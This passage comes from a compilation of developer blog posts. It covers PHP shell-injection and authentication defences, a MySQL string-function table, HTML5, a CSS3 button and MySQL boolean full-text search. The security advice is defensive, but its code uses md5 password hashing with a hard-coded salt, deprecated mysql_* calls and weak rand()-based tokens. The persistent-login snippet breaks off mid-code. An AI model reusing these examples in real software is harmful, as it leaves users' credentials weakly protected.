chris chris 0 May 21 12:34 php-security\r\n\r\n[2] =&gt; -rw-rw-r--  1 chris chris 0 May 21 12:34 chris-shiflett\r\n\r\n)\r\n\r\nReturn [0]\r\n\r\n&nbsp;\r\n\r\nThis is a useful and convenient way to execute shell commands, but this convenience heightens your risk. If tainted data is used to construct the string to be executed, an attacker can execute arbitrary commands.\r\n\r\n<b>Solution:</b>\r\n\r\nensure that you use only filtered data to construct the string to be executed, and always escape your output:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n$shell = array();\r\n\r\n&nbsp;\r\n\r\n/* Filter Input ($command, $argument) */\r\n\r\n&nbsp;\r\n\r\n$shell[\'command\'] = escapeshellcmd($clean[\'command\']);\r\n\r\n$shell[\'argument\'] = escapeshellarg($clean[\'argument\']);\r\n\r\n&nbsp;\r\n\r\n$last = exec(\"{$shell[\'command\']} {$shell[\'argument\']}\", $output, $return);\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nAlthough you can execute shell commands in many different ways, the best practice is to be consistentensure that you use only filtered and escaped data when constructing the string to be executed. Other functions that require careful attention include passthru( ), popen( ), shell_exec( ), and system( ). If at all possible, I recommend avoiding the use of shell commands altogether.\r\n\r\n&nbsp;\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"665\">\r\n<h2>Authentication and Authorization</h2>\r\n</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"665\">&nbsp;\r\n\r\nAuthentication is the process by which a user\'s identity is proven. This typically involves a simple username and password check. Thus, a user who is logged in is an <i>authenticated user</i>.\r\n\r\nAuthorization, often called access control, is how you guard access to protected resources and determine whether a user is authorized to access a particular resource. For example, many web applications have resources that are available only to authenticated users, resources that are available only to administrators, and resources that are available to everyone.\r\n\r\nAn authorized user is trusted more than an anonymous user, but if your administrative features are available via a public URL, they are an inviting target to an attacker. In these cases, negligence is your primary foe.\r\n<ul>\r\n	<li>brute force attacks ,</li>\r\n	<li>password sniffing,</li>\r\n	<li>replay attacks,</li>\r\n	<li>persistent logins.</li>\r\n</ul>\r\n</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\n&nbsp;\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"665\"><b><i>1.Brute force attack :</i></b><i> </i>A <i>brute force attack</i> is an attack in which all available options are exhausted with no intelligence regarding which options are more likely. This is more formally known as an <i>enumeration attack</i>the attack enumerates through all possibilities.\r\n\r\nbrute force attacks typically involve an attacker trying to log in with a very large number of attempts. In most cases, known valid usernames are used, and the password is the only thing being guessed.\r\n\r\nAlthough a useful defense is to temporarily suspend an account once a maximum number of login failures are recorded, you might consider suspending an account according to certain aspects of the request, so that an attacker is less likely to interfere with a legitimate user\'s use of your application.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Solution :  </b>Please go through this example\r\n\r\nA few other approaches can also be used to make brute force attacks more difficult and less likely to succeed. A simple throttling mechanism can help to eliminate the practicality of such an attack:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n/* mysql_connect() */\r\n\r\n/* mysql_select_db() */\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n$mysql = array();\r\n\r\n&nbsp;\r\n\r\n$now = time();\r\n\r\n$max = $now - 15;\r\n\r\n&nbsp;\r\n\r\n$salt = \'SHIFLETT\';\r\n\r\n&nbsp;\r\n\r\nif (ctype_alnum($_POST[\'username\']))\r\n\r\n{\r\n\r\n$clean[\'username\'] = $_POST[\'username\'];\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\n/* ... */\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n$clean[\'password\'] = md5($salt . md5($_POST[\'password\'] . $salt));\r\n\r\n$mysql[\'username\'] = mysql_real_escape_string($clean[\'username\']);\r\n\r\n&nbsp;\r\n\r\n$sql = \"SELECT last_failure, password\r\n\r\nFROM   users\r\n\r\nWHERE  username = \'{$mysql[\'username\']}\'\";\r\n\r\n&nbsp;\r\n\r\nif ($result = mysql_query($sql))\r\n\r\n{\r\n\r\nif (mysql_num_rows($result))\r\n\r\n{\r\n\r\n$record = mysql_fetch_assoc($result);\r\n\r\n&nbsp;\r\n\r\nif ($record[\'last_failure\']&gt; $max)\r\n\r\n{\r\n\r\n/* Less than 15 seconds since last failure */\r\n\r\n}\r\n\r\nelseif ($record[\'password\'] == $clean[\'password\'])\r\n\r\n{\r\n\r\n/* Successful Login */\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\n/* Failed Login */\r\n\r\n&nbsp;\r\n\r\n$sql = \"UPDATE users\r\n\r\nSET    last_failure = \'$now\'\r\n\r\nWHERE  username = \'{$mysql[\'username\']}\'\";\r\n\r\n&nbsp;\r\n\r\nmysql_query($sql);\r\n\r\n}\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\n/* Invalid Username */\r\n\r\n}\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\n/* Error */\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nThis throttles the rate with which a user is allowed to try again after a login failure. If a new attempt is made within 15 seconds of a previous failure, authentication fails regardless of whether the login credentials are correct. This is a key point in the implementation. It is not enough to simply deny access when a new attempt is made within 15 seconds of the previous failurethe output in such cases must be consistent regardless of whether the login would otherwise be successful; otherwise, an attacker can simply check for inconsistent output in order to determine whether the login credentials are correct.\r\n\r\n&nbsp;\r\n\r\n<b>2.Password Sniffing .</b>\r\n\r\n<b> </b>\r\n\r\nwhen an attacker can sniff (observe) traffic between your users and your application, being mindful of data exposure becomes increasingly important, particularly regarding authentication credentials.\r\n\r\n&nbsp;\r\n\r\n<b>Solution</b>:Using SSL is an effective way to protect the contents of both HTTP requests and their corresponding responses from exposure. Any request for a resource that uses the <b>https</b> scheme is protected against password sniffing . It is a best practice to always use SSL for sending authentication credentials, and you might consider also using SSL for all requests that contain a session identifier because this helps protect your users against session hijacking.\r\n\r\n&nbsp;\r\n\r\n<b>3.Replay attack</b>\r\n\r\nA <i>replay attack</i>, sometimes called a <i>presentation attack</i>, is any attack that involves the attacker replaying data sent previously by a legitimate user in order to gain access or other privileges granted to that user.\r\n<h3>4.Persistent Logins</h3>\r\nA <i>persistent login</i> is a mechanism that persists authentication between browser sessions. In other words, a user who logs in today is still logged in tomorrow, even if the user\'s session expires between visits.\r\n\r\nThe most common flawed implementation of a persistent login that I have observed is to store the username and password in a cookie. The temptation is understandablerather than prompting the user for a username and password, you can simply read them from a cookie. Everything else about the authentication process is consistent, so this makes the implementation easy.\r\n\r\n&nbsp;\r\n\r\nA persistent login requires a persistent login cookie, often called an authentication cookie , because a cookie is the only standard mechanism that can be used to persist data across multiple sessions. If this cookie provides permanent access, it poses a serious risk to the security of your application, so you want to be sure that the information you store in the cookie has a restricted window of time for which it can be used to authenticate.\r\n\r\n&nbsp;\r\n\r\nusername is less sensitive than a password, you can store it in the cookie, and this can be used during authentication to determine which user\'s token is being presented. However, a slightly better approach is to use a secondary identifier that is less likely to be predicted or discovered. Consider a table for storing usernames and passwords that has three additional columns for a secondary identifier (<b>identifier</b>), a persistent login token (<b>token</b>), and a persistent login timeout (<b>timeout</b>):\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$salt = \'SHIFLETT\';\r\n\r\n&nbsp;\r\n\r\n$identifier = md5($salt . md5($username . $salt));\r\n\r\n$token = md5(uniqid(rand(), TRUE));\r\n\r\n$timeout = time() + 60 * 60 * 24 * 7;\r\n\r\n<span style=\"text-decoration: underline;\">21.</span>  <span style=\"text-decoration: underline;\">Blog21:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Mysql String Functions\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span>:   Project Learnings\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<table border=\"1\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ascii\">ASCII()</a></td>\r\n<td>Return numeric value of left-most character</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_bin\">BIN()</a></td>\r\n<td>Return a string representation of the argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_bit-length\">BIT_LENGTH()</a></td>\r\n<td>Return length of argument in bits</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length\">CHAR_LENGTH()</a></td>\r\n<td>Return number of characters in argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char\">CHAR()</a></td>\r\n<td>Return the character for each integer passed</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_character-length\">CHARACTER_LENGTH()</a></td>\r\n<td>A synonym for CHAR_LENGTH()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_concat-ws\">CONCAT_WS()</a></td>\r\n<td>Return concatenate with separator</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_concat\">CONCAT()</a></td>\r\n<td>Return concatenated string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_elt\">ELT()</a></td>\r\n<td>Return string at index number</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_export-set\">EXPORT_SET()</a></td>\r\n<td>Return a string such that for every bit set in the value bits, you get an on string and for every unset bit, you get an off string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_field\">FIELD()</a></td>\r\n<td>Return the index (position) of the first argument in the subsequent arguments</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_find-in-set\">FIND_IN_SET()</a></td>\r\n<td>Return the index position of the first argument within the second argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_format\">FORMAT()</a></td>\r\n<td>Return a number formatted to specified number of decimal places</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_hex\">HEX()</a></td>\r\n<td>Return a hexadecimal representation of a decimal or string value</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_insert\">INSERT()</a></td>\r\n<td>Insert a substring at the specified position up to the specified number of characters</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_instr\">INSTR()</a></td>\r\n<td>Return the index of the first occurrence of substring</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lcase\">LCASE()</a></td>\r\n<td>Synonym for LOWER()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_left\">LEFT()</a></td>\r\n<td>Return the leftmost number of characters as specified</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_length\">LENGTH()</a></td>\r\n<td>Return the length of a string in bytes</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_like\">LIKE</a></td>\r\n<td>Simple pattern matching</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_load-file\">LOAD_FILE()</a></td>\r\n<td>Load the named file</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_locate\">LOCATE()</a></td>\r\n<td>Return the position of the first occurrence of substring</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lower\">LOWER()</a></td>\r\n<td>Return the argument in lowercase</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lpad\">LPAD()</a></td>\r\n<td>Return the string argument, left-padded with the specified string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ltrim\">LTRIM()</a></td>\r\n<td>Remove leading spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_make-set\">MAKE_SET()</a></td>\r\n<td>Return a set of comma-separated strings that have the corresponding bit in bits set</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/fulltext-search.html#function_match\">MATCH</a></td>\r\n<td>Perform full-text search</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_mid\">MID()</a></td>\r\n<td>Return a substring starting from the specified position</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_not-like\">NOT LIKE</a></td>\r\n<td>Negation of simple pattern matching</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_not-regexp\">NOT REGEXP</a></td>\r\n<td>Negation of REGEXP</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_octet-length\">OCTET_LENGTH()</a></td>\r\n<td>A synonym for LENGTH()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ord\">ORD()</a></td>\r\n<td>Return character code for leftmost character of the argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_position\">POSITION()</a></td>\r\n<td>A synonym for LOCATE()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_quote\">QUOTE()</a></td>\r\n<td>Escape the argument for use in an SQL statement</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_regexp\">REGEXP</a></td>\r\n<td>Pattern matching using regular expressions</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_repeat\">REPEAT()</a></td>\r\n<td>Repeat a string the specified number of times</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_replace\">REPLACE()</a></td>\r\n<td>Replace occurrences of a specified string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_reverse\">REVERSE()</a></td>\r\n<td>Reverse the characters in a string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_right\">RIGHT()</a></td>\r\n<td>Return the specified rightmost number of characters</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_regexp\">RLIKE</a></td>\r\n<td>Synonym for REGEXP</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_rpad\">RPAD()</a></td>\r\n<td>Append string the specified number of times</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_rtrim\">RTRIM()</a></td>\r\n<td>Remove trailing spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_soundex\">SOUNDEX()</a></td>\r\n<td>Return a soundex string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#operator_sounds-like\">SOUNDS LIKE</a></td>\r\n<td>Compare sounds</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_space\">SPACE()</a></td>\r\n<td>Return a string of the specified number of spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#function_strcmp\">STRCMP()</a></td>\r\n<td>Compare two strings</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substr\">SUBSTR()</a></td>\r\n<td>Return the substring as specified</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substring-index\">SUBSTRING_INDEX()</a></td>\r\n<td>Return a substring from a string before the specified number of occurrences of the delimiter</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substring\">SUBSTRING()</a></td>\r\n<td>Return the substring as specified</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_trim\">TRIM()</a></td>\r\n<td>Remove leading and trailing spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ucase\">UCASE()</a></td>\r\n<td>Synonym for UPPER()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_unhex\">UNHEX()</a></td>\r\n<td>Convert each pair of hexadecimal digits to a character</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_upper\">UPPER()</a></td>\r\n<td>Convert to uppercase</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nReference Site: <a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length\">http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length</a>\r\n\r\n<span style=\"text-decoration: underline;\">22.</span>  <span style=\"text-decoration: underline;\">Blog22:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Form a learning plan for an HTML5 future\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span>:   Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\nThe trend toward using Web technologies for application development, even outside of the Web browser, is here to stay. The recent revelation that <a href=\"http://www.techrepublic.com/blog/programming-and-development/windows-8-native-apps-and-html5-facts-and-conjecture/4313\" target=\"_blank\">Windows 8 will have provisions for writing apps using the HTML5 technologies</a> merely cements this shift in the development world. So the question is: How are you going to deal with it?\r\n\r\nIf you haven’t been following closely, it is easy to wonder why and how Web technologies are suddenly being cast in the role of desktop application development platforms. In the <a href=\"http://dev.w3.org/html5/spec/Overview.html\">HTML5 standard</a> that is being finalized, there are a number of new items that add on real application development capabilities to HTML’s existing document formatting. In the past, big JavaScript frameworks and browser plugins were needed for some fairly trivial functionality.\r\n\r\nHTML5 changes the game by adding support for things like video streaming, multithreaded and asynchronous processing (via the “Web Workers” message passing system), direct communications through sockets, and more. While the idea that a document format standard has these capabilities may be horrifying to some (including myself), this is the direction that HTML is headed in, and it has backing from Apple, Microsoft, Google, Mozilla, Adobe, and more. In addition, the various frameworks out there make it very easy to directly connect Web applications to backend Web services. As a result, HTML5 is now as capable as technologies like Silverlight, Flash, Flex/AIR, and JavaFX for many tasks (though there are still some things that those technologies do better).\r\n\r\n<span style=\"text-decoration: underline;\">23.</span>  <span style=\"text-decoration: underline;\">Blog23:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  CSS3 Gradient Button Without Images\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span>:   Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\n<b>Try this pasting in your HTML editor and see the result.</b>\r\n\r\n&lt;!DOCTYPE HTML&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;html&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;head&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;title&gt;Untitled Document&lt;/title&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;style type=\"text/css\"&gt;\r\n\r\n&nbsp;\r\n\r\n.button {\r\n\r\n&nbsp;\r\n\r\ndisplay: inline-block;\r\n\r\n&nbsp;\r\n\r\noutline: none;\r\n\r\n&nbsp;\r\n\r\ncursor: pointer;\r\n\r\n&nbsp;\r\n\r\ntext-align: center;\r\n\r\n&nbsp;\r\n\r\ntext-decoration: none;\r\n\r\n&nbsp;\r\n\r\nfont: 14px/100% Arial, Helvetica, sans-serif;\r\n\r\n&nbsp;\r\n\r\npadding: .5em 2em .55em;\r\n\r\n&nbsp;\r\n\r\ntext-shadow: 0 1px 1px rgba(0,0,0,.3);\r\n\r\n&nbsp;\r\n\r\n-webkit-border-radius: .5em;\r\n\r\n&nbsp;\r\n\r\n-moz-border-radius: .5em;\r\n\r\n&nbsp;\r\n\r\nborder-radius: .5em;\r\n\r\n&nbsp;\r\n\r\n-webkit-box-shadow: 0 1px 2px rgba(0,0,0,.2);\r\n\r\n&nbsp;\r\n\r\n-moz-box-shadow: 0 1px 2px rgba(0,0,0,.2);\r\n\r\n&nbsp;\r\n\r\nbox-shadow: 0 1px 2px rgba(0,0,0,.2);\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.button:hover {\r\n\r\n&nbsp;\r\n\r\ntext-decoration: none;\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.button:active {\r\n\r\n&nbsp;\r\n\r\nposition: relative;\r\n\r\n&nbsp;\r\n\r\ntop: 1px;\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.orange {\r\n\r\n&nbsp;\r\n\r\ncolor: #fef4e9;\r\n\r\n&nbsp;\r\n\r\nborder: solid 1px #da7c0c;\r\n\r\n&nbsp;\r\n\r\nbackground: #f78d1d;\r\n\r\n&nbsp;\r\n\r\nbackground: -webkit-gradient(linear, left top, left bottom, from(#faa51a), to(#f47a20));\r\n\r\n&nbsp;\r\n\r\nbackground: -moz-linear-gradient(top,  #faa51a,  #f47a20);\r\n\r\n&nbsp;\r\n\r\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#faa51a\', endColorstr=\'#f47a20\');\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.orange:hover {\r\n\r\n&nbsp;\r\n\r\nbackground: #f47c20;\r\n\r\n&nbsp;\r\n\r\nbackground: -webkit-gradient(linear, left top, left bottom, from(#f88e11), to(#f06015));\r\n\r\n&nbsp;\r\n\r\nbackground: -moz-linear-gradient(top,  #f88e11,  #f06015);\r\n\r\n&nbsp;\r\n\r\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#f88e11\', endColorstr=\'#f06015\');\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.orange:active {\r\n\r\n&nbsp;\r\n\r\ncolor: #fcd3a5;\r\n\r\n&nbsp;\r\n\r\nbackground: -webkit-gradient(linear, left top, left bottom, from(#f47a20), to(#faa51a));\r\n\r\n&nbsp;\r\n\r\nbackground: -moz-linear-gradient(top,  #f47a20,  #faa51a);\r\n\r\n&nbsp;\r\n\r\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#f47a20\', endColorstr=\'#faa51a\');\r\n\r\n&nbsp;\r\n\r\n}\r\n&lt;/style&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;/head&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;body&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;div style=\"width:100px;\"&gt;Collabor&lt;/div&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;input type=\"button\" name=\"Collabor\" value=\"collabor\"/&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;/body&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;/html&gt;\r\n\r\n<span style=\"text-decoration: underline;\">24.</span>  <span style=\"text-decoration: underline;\">Blog24:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Boolean Full-Text Searches\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span>:   Project Learnings\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\nMySQL can perform boolean full-text searches using the IN BOOLEAN MODE modifier. With this modifier, certain characters have special meaning at the beginning or end of words in the search string. In the following query, the + and - operators indicate that a word is required to be present or absent, respectively, for a match to occur. Thus, the query retrieves all the rows that contain the word “test” but that do <i>not</i> contain the word “event”:\r\n\r\n<b>SELECT * FROM events WHERE MATCH (event_title)</b> <b>AGAINST (\'+Test -Event\' IN BOOLEAN MODE);</b>\r\n\r\n<b> </b>\r\n\r\nNote:\r\n\r\nIn implementing this feature, MySQL uses what is sometimes referred to as <i>implied Boolean logic</i>, in which\r\n<ul>\r\n	<li>+ stands for AND</li>\r\n	<li>- stands for NOT</li>\r\n	<li>[<i>no operator</i>] implies OR</li>\r\n</ul>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBoolean full-text searches have these characteristics:\r\n<ul>\r\n	<li>They do not use the 50% threshold.</li>\r\n	<li>They do not automatically sort rows in order of decreasing relevance. You can see this from the preceding query result: The row with the highest relevance is the one that contains “MySQL” twice, but it is listed last, not first.</li>\r\n	<li>They can work even without a FULLTEXT index, although a search executed in this fashion would be quite slow.</li>\r\n	<li>The minimum and maximum word length full-text parameters apply.</li>\r\n	<li>The stopword list applies.</li>\r\n</ul>\r\nThe boolean full-text search capability supports the following operators:\r\n<ul>\r\n	<li>+</li>\r\n</ul>\r\nA leading plus sign indicates that this word <i>must</i> be present in each row that is returned.\r\n<ul>\r\n	<li>-</li>\r\n</ul>\r\nA leading minus sign indicates that this word must <i>not</i> be present in any of the rows that are returned.\r\n\r\nNote: The - operator acts only to exclude rows that are otherwise matched by other search terms. Thus, a boolean-mode search that contains only terms preceded by - returns an empty result. It does not return “all rows except those containing any of the excluded terms.”\r\n<ul>\r\n	<li>(no operator)</li>\r\n</ul>\r\nBy default (when neither + nor - is specified) the word is optional, but the rows that contain it are rated higher. This mimics the behavior of <a href=\"http://dev.mysql.com/doc/refman/5.0/en/fulltext-search.html#function_match\">MATCH() ... AGAINST()</a> without the IN BOOLEAN MODE modifier.\r\n<ul>\r\n	<li>&gt; &lt;</li>\r\n</ul>\r\nThese two operators are used to change a word\'s contribution to the relevance value that is assigned to a row. The &gt; operator increases the contribution and the &lt; operator decreases it. See the example following this list.\r\n<ul>\r\n	<li>( )</li>\r\n</ul>\r\nParentheses group words into subexpressions. Parenthesized groups can be nested.\r\n<ul>\r\n	<li>~</li>\r\n</ul>\r\nA leading tilde acts as a negation operator, causing the word\'s contribution to the row\'s relevance to be negative. This is useful for marking “noise” words. A row containing such a word is rated lower than others, but is not excluded altogether, as it would be with the - operator.\r\n<ul>\r\n	<li>*</li>\r\n</ul>\r\nThe asterisk serves as the truncation (or wildcard) operator. Unlike the other operators, it should be <i>appended</i> to the word to be affected. Words match if they begin with the word preceding the * operator.\r\n\r\nIf a word is specified with the truncation operator, it is not stripped from a boolean query, even if it is too short (as determined from the <a href=\"http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html#sysvar_ft_min_word_len\">ft_min_word_len</a> setting) or a stopword. This occurs because the word is not seen as too short or a stopword, but as a prefix that must be present in the document in the form of a word that begins with the prefix. Suppose that <a href=\"http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html#sysvar_ft_min_word_len\">ft_min_word_len=4</a>. ft_min_word_len=4. Then a search for \'+<i>word</i> +the*\' will likely return fewer rows than a search for \'+<i>word</i> +the\':\r\n\r\no        The former query remains as is and requires both <i>word</i> and the* (a word starting with the) to be present in the document.\r\n\r\no        The latter query is transformed to +<i>word</i> (requiring only <i>word</i> to be present). the is both too short and a stopword, and either condition is enough to cause it to be ignored.\r\n<ul>\r\n	<li>\"</li>\r\n</ul>\r\nA phrase that is enclosed within 